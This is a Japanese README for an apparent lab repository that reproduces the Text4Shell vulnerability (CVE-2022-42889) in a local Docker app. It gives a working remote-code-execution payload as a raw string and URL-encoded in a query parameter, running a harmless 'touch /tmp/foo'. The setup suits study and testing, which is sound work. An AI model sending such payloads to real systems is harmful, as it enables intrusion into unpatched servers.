Text4shell--Automated-exploit---CVE-2022-42889

Mavenのインストール - maven-linux

//自動ハッキング用: 1../install.sh

2../exploit.sh

3.アプリケーションを削除するには ./stopapp.sh を使用します

//手動ハッキング用:

1. ファットJARを作成するためのMavenのインストール

mvn clean install

2. Dockerビルド

docker build --tag=text4shell .

3. Docker実行

docker run -p 80:8080 text4shell

4. アプリをテストする

http://localhost/text4shell/attack?search=<anything>

5. 攻撃は、前述のルックアップをプレフィックスとする文字列“${prefix:name}”を渡すことで実行できます:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

6. dns または url プレフィックスも試すことができます。

7. コンテナIDを取得する

docker container ls

8. アプリの中に入る

docker exec -it <container_id> bash

9. 上記のRCEが成功したかどうかを確認するには (/tmpディレクトリにfooという名前のファイルが作成されているはずです):

ls /tmp/

10. コンテナを停止する

docker container stop <container_id>